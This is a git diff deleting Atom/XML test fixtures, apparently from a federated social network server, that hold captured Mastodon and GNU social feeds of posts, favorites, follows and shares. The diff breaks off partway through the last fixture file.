http://activitystrea.ms/schema/1.0/person - https://mastodon.sdf.org/users/snowdusk - snowdusk - snowdusk@mastodon.sdf.org - <p>Amateur live performance DJ/radio DJ on SDF&apos;s underground Internet radio <a href="http://anonradio.net/" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">anonradio.net/</span><span class="invisible"></span></a> (LIVE Sat Sun Mon Tue 23:00-24:00 UTC) - <a href="http://snowdusk.sdf.org/" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">snowdusk.sdf.org/</span><span class="invisible"></span></a></p> - - - - snowdusk - snowdusk - Amateur live performance DJ/radio DJ on SDF's underground Internet radio http://aNONradio.net (LIVE Sat Sun Mon Tue 23:00-24:00 UTC) - http://snowdusk.sdf.org - public - - - - - - - - tag:mastodon.sdf.org,2017-06-10:objectId=310513:objectType=Status - 2017-06-10T22:02:31Z - 2017-06-10T22:02:31Z - snowdusk deleted status - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/delete - Deleted status - - - - diff --git a/test/fixtures/dm.xml b/test/fixtures/dm.xml deleted file mode 100644 index d0b8aa811..000000000 --- a/test/fixtures/dm.xml +++ /dev/null @@ -1,27 +0,0 @@ - - - tag:mastodon.social,2017-06-30:objectId=11260427:objectType=Status - 2017-06-30T13:27:47Z - 2017-06-30T13:27:47Z - New status by lambadalambda - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - lambadalambda - Critical Value - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey.</p> - - direct - - - - diff --git a/test/fixtures/favorite.xml b/test/fixtures/favorite.xml deleted file mode 100644 index c32b4a403..000000000 --- a/test/fixtures/favorite.xml +++ /dev/null @@ -1,65 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-05T09:12:53+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061643:2017-05-05T09:12:50+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:12:50+00:00 - 2017-05-05T09:12:50+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - diff --git a/test/fixtures/favorite_with_local_note.xml b/test/fixtures/favorite_with_local_note.xml deleted file mode 100644 index 3c955607d..000000000 --- a/test/fixtures/favorite_with_local_note.xml +++ /dev/null @@ -1,64 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-05T09:12:53+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061643:2017-05-05T09:12:50+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:12:50+00:00 - 2017-05-05T09:12:50+00:00 - - http://activitystrea.ms/schema/1.0/comment - localid - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - diff --git a/test/fixtures/follow.xml b/test/fixtures/follow.xml deleted file mode 100644 index d4e89954b..000000000 --- a/test/fixtures/follow.xml +++ /dev/null @@ -1,68 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-07T09:54:49+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00 - Constance Variable (lambadalambda@social.heldscal.la)'s status on Sunday, 07-May-2017 09:54:49 UTC - <a href="https://social.heldscal.la/lambadalambda">Constance Variable</a> started following <a href="https://pawoo.net/@pekorino">mono</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-05-07T09:54:49+00:00 - 2017-05-07T09:54:49+00:00 - - http://activitystrea.ms/schema/1.0/person - https://pawoo.net/users/pekorino - mono - http://shitposter.club/mono 孤独のグルメ - - - - - pekorino - mono - http://shitposter.club/mono 孤独のグルメ - - - tag:social.heldscal.la,2017-05-07:objectType=thread:nonce=6e80caf94e03029f - - - - - - diff --git a/test/fixtures/incoming_note_activity.xml b/test/fixtures/incoming_note_activity.xml deleted file mode 100644 index 21eda2d30..000000000 --- a/test/fixtures/incoming_note_activity.xml +++ /dev/null @@ -1,42 +0,0 @@ - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-23:noticeId=29:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain3" class="h-card mention">lain3</a> - - - - - http://activitystrea.ms/schema/1.0/post - 2017-04-23T14:51:03+00:00 - 2017-04-23T14:51:03+00:00 - - http://activitystrea.ms/schema/1.0/person - http://gs.example.org:4040/index.php/user/1 - lambda - - - - - lambda - lambda - - - - - tag:gs.example.org:4040,2017-04-23:objectType=thread:nonce=f09e22f58abd5c7b - - - - http://gs.example.org:4040/index.php/api/statuses/user_timeline/1.atom - lambda - - - - http://gs.example.org:4040/theme/neo-gnu/default-avatar-profile.png - 2017-04-23T14:51:03+00:00 - - - - - diff --git a/test/fixtures/incoming_note_activity_answer.xml b/test/fixtures/incoming_note_activity_answer.xml deleted file mode 100644 index b1244faa6..000000000 --- a/test/fixtures/incoming_note_activity_answer.xml +++ /dev/null @@ -1,42 +0,0 @@ - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=55:objectType=note - New note by lambda - hey. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:16:13+00:00 - 2017-04-25T18:16:13+00:00 - - http://activitystrea.ms/schema/1.0/person - http://gs.example.org:4040/index.php/user/1 - lambda - - - - - lambda - lambda - - - - - - - http://pleroma.example.org:4000/contexts/8f6f45d4-8e4d-4e1a-a2de-09f27367d2d0 - - - - http://gs.example.org:4040/index.php/api/statuses/user_timeline/1.atom - lambda - - - - http://gs.example.org:4040/theme/neo-gnu/default-avatar-profile.png - 2017-04-25T18:16:13+00:00 - - - - - diff --git a/test/fixtures/incoming_reply_mastodon.xml b/test/fixtures/incoming_reply_mastodon.xml deleted file mode 100644 index 8ee1186cc..000000000 --- a/test/fixtures/incoming_reply_mastodon.xml +++ /dev/null @@ -1,29 +0,0 @@ - - - tag:mastodon.social,2017-05-02:objectId=4901603:objectType=Status - 2017-05-02T18:33:06Z - 2017-05-02T18:33:06Z - New status by lambadalambda - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> hey</p> - - - public - - - - diff --git a/test/fixtures/incoming_websub_gnusocial_attachments.xml b/test/fixtures/incoming_websub_gnusocial_attachments.xml deleted file mode 100644 index 9d331ef32..000000000 --- a/test/fixtures/incoming_websub_gnusocial_attachments.xml +++ /dev/null @@ -1,59 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-02T20:29:35+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-02:noticeId=2020923:objectType=note - New note by lambadalambda - Okay gonna stream some cool games!! <a href="https://social.heldscal.la/file/7ed5ee508e6376a6e3dd581e17e7ed0b7b638147c7e86784bf83abc2641ee3d4.gif" title="https://social.heldscal.la/file/7ed5ee508e6376a6e3dd581e17e7ed0b7b638147c7e86784bf83abc2641ee3d4.gif" rel="nofollow external noreferrer" class="attachment" id="attachment-423842">https://social.heldscal.la/attachment/423842</a> <a href="https://social.heldscal.la/file/4c209099cadfc5afd3e27a334aa0db96b3a7510dde1603305d68a2707e59a11f.png" title="https://social.heldscal.la/file/4c209099cadfc5afd3e27a334aa0db96b3a7510dde1603305d68a2707e59a11f.png" rel="nofollow external noreferrer" class="attachment" id="attachment-423843">https://social.heldscal.la/attachment/423843</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T20:29:35+00:00 - 2017-05-02T20:29:35+00:00 - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=26c7afdcbcf4ebd4 - - - - - - - - diff --git a/test/fixtures/lambadalambda.atom b/test/fixtures/lambadalambda.atom deleted file mode 100644 index 964a416f7..000000000 --- a/test/fixtures/lambadalambda.atom +++ /dev/null @@ -1,479 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif?1492379244 - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - a cool dude. - - - - lambadalambda - Critical Value - public - - - - - - - - tag:mastodon.social,2017-04-07:objectId=1874242:objectType=Status - 2017-04-07T11:02:56Z - 2017-04-07T11:02:56Z - lambadalambda shared a status by 0xroy@social.wxcafe.net - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.wxcafe.net,2017-04-07:objectId=72554:objectType=Status - 2017-04-07T11:01:59Z - 2017-04-07T11:02:00Z - New status by 0xroy@social.wxcafe.net - - https://social.wxcafe.net/users/0xroy - http://activitystrea.ms/schema/1.0/person - https://social.wxcafe.net/users/0xroy - 0xroy - 0xroy@social.wxcafe.net - ta caution weeb | discussions privées : <a href="https://💌.0xroy.me" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="">💌.0xroy.me</span><span class="invisible"></span></a> - - - - 0xroy - 「R O Y 🍵 B O S」 - ta caution weeb | discussions privées : <a href="https://%F0%9F%92%8C.0xroy.me" rel="nofollow noopener"><span class="invisible">https://</span><span class="">💌.0xroy.me</span><span class="invisible"></span></a> - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>someone pls eli5 matrix (protocol) and riot</p> - - public - - - <p>someone pls eli5 matrix (protocol) and riot</p> - - public - - - - - tag:mastodon.social,2017-04-06:objectId=1768247:objectType=Status - 2017-04-06T11:10:19Z - 2017-04-06T11:10:19Z - lambadalambda shared a status by areyoutoo@mastodon.xyz - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:mastodon.xyz,2017-04-05:objectId=133327:objectType=Status - 2017-04-05T17:36:41Z - 2017-04-05T18:12:14Z - New status by areyoutoo@mastodon.xyz - - https://mastodon.xyz/users/areyoutoo - http://activitystrea.ms/schema/1.0/person - https://mastodon.xyz/users/areyoutoo - areyoutoo - areyoutoo@mastodon.xyz - devops | retired gamedev | always boost puppy pics - - - - areyoutoo - Raw Butter - devops | retired gamedev | always boost puppy pics - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Some UX thoughts for <a href="https://mastodon.xyz/tags/mastodev" class="mention hashtag">#<span>mastodev</span></a>:</p><p>- Would be nice if I could work on multiple draft toots? Clicking to reply to someone seems to erase any draft I had been working on.</p><p>- Kinda risky to click on the Federated Timeline if it loads new toots and scrolls 10ms before I click on something.</p><p>I probably don't know enough web frontend to help, but it might be fun to try.</p> - - - public - - - <p>Some UX thoughts for <a href="https://mastodon.xyz/tags/mastodev" class="mention hashtag">#<span>mastodev</span></a>:</p><p>- Would be nice if I could work on multiple draft toots? Clicking to reply to someone seems to erase any draft I had been working on.</p><p>- Kinda risky to click on the Federated Timeline if it loads new toots and scrolls 10ms before I click on something.</p><p>I probably don't know enough web frontend to help, but it might be fun to try.</p> - - public - - - - - tag:mastodon.social,2017-04-06:objectId=1764509:objectType=Status - 2017-04-06T10:15:38Z - 2017-04-06T10:15:38Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - This is a test for cw federation - <p>This is a test for cw federation body text.</p> - - public - - - - - tag:mastodon.social,2017-04-05:objectId=1645208:objectType=Status - 2017-04-05T07:14:53Z - 2017-04-05T07:14:53Z - lambadalambda shared a status by lambadalambda@social.heldscal.la - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.heldscal.la,2017-04-05:noticeId=1502088:objectType=note - 2017-04-05T06:12:09Z - 2017-04-05T07:12:47Z - New status by lambadalambda@social.heldscal.la - - https://social.heldscal.la/user/23211 - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - lambadalambda@social.heldscal.la - Call me Deacon Blues. - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Federation 101: <a href="https://www.youtube.com/watch?v=t1lYU5CA40o" rel="nofollow external noreferrer" class="attachment thumbnail">https://www.youtube.com/watch?v=t1lYU5CA40o</a> - - public - - - Federation 101: <a href="https://www.youtube.com/watch?v=t1lYU5CA40o" rel="nofollow external noreferrer" class="attachment thumbnail">https://www.youtube.com/watch?v=t1lYU5CA40o</a> - - public - - - - - tag:mastodon.social,2017-04-05:objectId=1641750:objectType=Status - 2017-04-05T05:44:48Z - 2017-04-05T05:44:48Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> just a test.</p> - - - public - - - - - tag:mastodon.social,2017-04-04:objectId=1540149:objectType=Status - 2017-04-04T06:31:09Z - 2017-04-04T06:31:09Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Looks like you still can&apos;t delete your account here (PRIVACY!), but I won&apos;t be posting here anymore, my main account is <span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span></p> - - - public - - - - - tag:mastodon.social,2017-04-04:objectId=1539608:objectType=Status - 2017-04-04T06:18:16Z - 2017-04-04T06:18:16Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@ghostbar" class="u-url mention">@<span>ghostbar</span></a></span> Remember to rewrite it in Rust once you&apos;re done.</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1504813:objectType=Status - 2017-04-03T18:01:20Z - 2017-04-03T18:01:20Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.xyz/@Azurolu" class="u-url mention">@<span>Azurolu</span></a></span> You mean gs.smuglo.li?</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1504805:objectType=Status - 2017-04-03T18:01:05Z - 2017-04-03T18:01:05Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>There&apos;s nothing wrong with having several alt accounts all across the fediverse. Try out another mastodon instance (<a href="https://icosahedron.website" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="">icosahedron.website</span><span class="invisible"></span></a>) or a GNU Social instance (like <a href="https://shitposter.club" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="">shitposter.club</span><span class="invisible"></span></a> or <a href="https://freezepeach.xyz" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="">freezepeach.xyz</span><span class="invisible"></span></a>), or friendica. They are all on the same network, so you can still follow all your friends!</p> - - public - - - - - tag:mastodon.social,2017-04-03:objectId=1503965:objectType=Status - 2017-04-03T17:31:30Z - 2017-04-03T17:31:30Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@20Hz" class="u-url mention">@<span>20Hz</span></a></span> you could also try out a GS instance, which are on the same network :)</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1503955:objectType=Status - 2017-04-03T17:31:08Z - 2017-04-03T17:31:08Z - lambadalambda shared a status by shpuld@shitposter.club - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:shitposter.club,2017-04-03:noticeId=2251717:objectType=note - 2017-04-03T17:06:43Z - 2017-04-03T17:12:06Z - New status by shpuld@shitposter.club - - https://shitposter.club/user/5381 - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/5381 - shpuld - shpuld@shitposter.club - - - - - shpuld - shp - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - reposting the classic <a href="https://shitposter.club/file/89c5fe483526caf3a46cfc5cdd4ae68061054350e767397731af658d54786e31.jpg" class="attachment" rel="nofollow external">https://shitposter.club/attachment/219846</a> - - - public - - - reposting the classic <a href="https://shitposter.club/file/89c5fe483526caf3a46cfc5cdd4ae68061054350e767397731af658d54786e31.jpg" class="attachment" rel="nofollow external">https://shitposter.club/attachment/219846</a> - - public - - - - - tag:mastodon.social,2017-04-03:objectId=1503929:objectType=Status - 2017-04-03T17:30:43Z - 2017-04-03T17:30:43Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@ghostbar" class="u-url mention">@<span>ghostbar</span></a></span> Normally you shouldn&apos;t be running tens of thousands of users on one instance... That&apos;s one of the reasons for federation.</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1477255:objectType=Status - 2017-04-03T08:24:39Z - 2017-04-03T08:24:39Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@dot_tiff" class="u-url mention">@<span>dot_tiff</span></a></span> it&apos;s the vaporwave mode.</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1476210:objectType=Status - 2017-04-03T07:45:42Z - 2017-04-03T07:45:42Z - lambadalambda shared a status by lambadalambda@social.heldscal.la - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.heldscal.la,2017-04-03:noticeId=1475727:objectType=note - 2017-04-03T07:44:43Z - 2017-04-03T07:44:48Z - New status by lambadalambda@social.heldscal.la - - https://social.heldscal.la/user/23211 - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - lambadalambda@social.heldscal.la - Call me Deacon Blues. - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Here's a song by the original anti-idol, Togawa Jun: <a href="https://www.youtube.com/watch?v=kNI_NK2YY-s" rel="nofollow external noreferrer" class="attachment">https://www.youtube.com/watch?v=kNI_NK2YY-s</a> - - public - - - Here's a song by the original anti-idol, Togawa Jun: <a href="https://www.youtube.com/watch?v=kNI_NK2YY-s" rel="nofollow external noreferrer" class="attachment">https://www.youtube.com/watch?v=kNI_NK2YY-s</a> - - public - - - - - tag:mastodon.social,2017-04-03:objectId=1476047:objectType=Status - 2017-04-03T07:39:14Z - 2017-04-03T07:39:14Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@amrrr" class="u-url mention">@<span>amrrr</span></a></span> tumblr/10, but pretty good!</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1475949:objectType=Status - 2017-04-03T07:35:45Z - 2017-04-03T07:35:45Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@Shookaite" class="u-url mention">@<span>Shookaite</span></a></span> Oh, you mean like userstyles?</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1475581:objectType=Status - 2017-04-03T07:20:03Z - 2017-04-03T07:20:03Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@Shookaite" class="u-url mention">@<span>Shookaite</span></a></span> Would be nice if someone helped port Pleroma to Mastodon, that has a theme switcher (click on the cog in the upper right): <a href="https://pleroma.heldscal.la/main/all" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="">pleroma.heldscal.la/main/all</span><span class="invisible"></span></a></p> - - - public - - - - - - tag:mastodon.social,2017-04-02:objectId=1457325:objectType=Status - 2017-04-02T21:57:43Z - 2017-04-02T21:57:43Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@rhosyn" class="u-url mention">@<span>rhosyn</span></a></span> <span class="h-card"><a href="https://mastodon.social/@Meaningness" class="u-url mention">@<span>Meaningness</span></a></span> you could take a look at those listed at social.guhnoo.org</p> - - - - public - - - - - - tag:mastodon.social,2017-04-02:objectId=1447926:objectType=Status - 2017-04-02T18:31:52Z - 2017-04-02T18:31:52Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>My main account is <span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> , btw.</p> - - - public - - - - - tag:mastodon.social,2017-04-02:objectId=1447878:objectType=Status - 2017-04-02T18:30:37Z - 2017-04-02T18:30:37Z - lambadalambda shared a status by Firstaide@awoo.space - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:awoo.space,2017-04-02:objectId=135324:objectType=Status - 2017-04-02T18:29:32Z - 2017-04-02T18:29:32Z - New status by Firstaide@awoo.space - - https://awoo.space/users/Firstaide - http://activitystrea.ms/schema/1.0/person - https://awoo.space/users/Firstaide - Firstaide - Firstaide@awoo.space - A smol awoo account, for a smol autistic 💙 -They/them please! -NB/white/ace - - - - Firstaide - Miff🚑✨ - A smol awoo account, for a smol autistic 💙 -They/them please! -NB/white/ace - public - - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><a href="https://mastodon.social/users/lambadalambda" class="h-card u-url p-nickname mention">@<span>lambadalambda</span></a> yeah, I think that's p much the big issue here? <br>When I first heard of Masto, I thought it was just like twitter at first, I had no idea federation was even a thing?, and I actually joined p early on? :-o </p><p>idk I think more stuff needs to be done about federation promotion, but honestly its gotta come from the get go when people get here to make an account I feel :-o</p> - - - public - - - - <p><a href="https://mastodon.social/users/lambadalambda" class="h-card u-url p-nickname mention">@<span>lambadalambda</span></a> yeah, I think that's p much the big issue here? <br>When I first heard of Masto, I thought it was just like twitter at first, I had no idea federation was even a thing?, and I actually joined p early on? :-o </p><p>idk I think more stuff needs to be done about federation promotion, but honestly its gotta come from the get go when people get here to make an account I feel :-o</p> - - public - - - - diff --git a/test/fixtures/mastodon-note-cw.xml b/test/fixtures/mastodon-note-cw.xml deleted file mode 100644 index 02f49dd61..000000000 --- a/test/fixtures/mastodon-note-cw.xml +++ /dev/null @@ -1,39 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - - - - - - tag:mastodon.social,2017-05-10:objectId=5551985:objectType=Status - 2017-05-10T12:21:36Z - 2017-05-10T12:21:36Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - technologic - <p>test</p> - - public - - - - diff --git a/test/fixtures/mastodon-note-unlisted.xml b/test/fixtures/mastodon-note-unlisted.xml deleted file mode 100644 index d21017b80..000000000 --- a/test/fixtures/mastodon-note-unlisted.xml +++ /dev/null @@ -1,38 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - - - - - - tag:mastodon.social,2017-05-10:objectId=5551985:objectType=Status - 2017-05-10T12:21:36Z - 2017-05-10T12:21:36Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - technologic - <p>test</p> - unlisted - - - - diff --git a/test/fixtures/mastodon-problematic.xml b/test/fixtures/mastodon-problematic.xml deleted file mode 100644 index a39e72759..000000000 --- a/test/fixtures/mastodon-problematic.xml +++ /dev/null @@ -1,72 +0,0 @@ - - - https://icosahedron.website/users/shel.atom - shel🍖‼️ - Gay jackal dog, poet, future librarian. - -http://datapup.info -avatar: @puppytube@twitter.com - 2017-05-02T23:26:01Z - https://icosahedron.website/system/accounts/avatars/000/001/207/original/b1e07b09ae1cc787.png?1493767561 - - https://icosahedron.website/users/shel - http://activitystrea.ms/schema/1.0/person - https://icosahedron.website/users/shel - shel - shel@icosahedron.website - <p>Gay jackal dog, poet, future librarian. </p><p><a href="http://datapup.info/" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">datapup.info/</span><span class="invisible"></span></a><br />avatar: @puppytube@twitter.com</p> - - - - shel - shel🍖‼️ - Gay jackal dog, poet, future librarian. - -http://datapup.info -avatar: @puppytube@twitter.com - public - - - - - - - tag:icosahedron.website,2017-05-10:objectId=1414013:objectType=Status - 2017-05-10T17:16:24Z - 2017-05-10T17:16:24Z - shel shared a status by instance_names@cybre.space - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:cybre.space,2017-05-10:objectId=946671:objectType=Status - 2017-05-10T17:15:51Z - 2017-05-10T17:15:52Z - New status by instance_names@cybre.space - - https://cybre.space/users/instance_names - http://activitystrea.ms/schema/1.0/person - https://cybre.space/users/instance_names - instance_names - instance_names@cybre.space - <p>name ideas for your new mastodon instance. made by <span class="h-card"><a href="https://witches.town/@lycaon">@<span>lycaon</span></a></span> source available at <a href="https://github.com/LycaonIsAWolf/instance_names"><span class="invisible">https://</span><span class="ellipsis">github.com/LycaonIsAWolf/insta</span><span class="invisible">nce_names</span></a></p> - - - - instance_names - instance names - name ideas for your new mastodon instance. made by @lycaon source available at https://github.com/LycaonIsAWolf/instance_names - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>dildo.codes</p> - unlisted - - - <p>dildo.codes</p> - - public - - - - diff --git a/test/fixtures/mastodon_conversation.xml b/test/fixtures/mastodon_conversation.xml deleted file mode 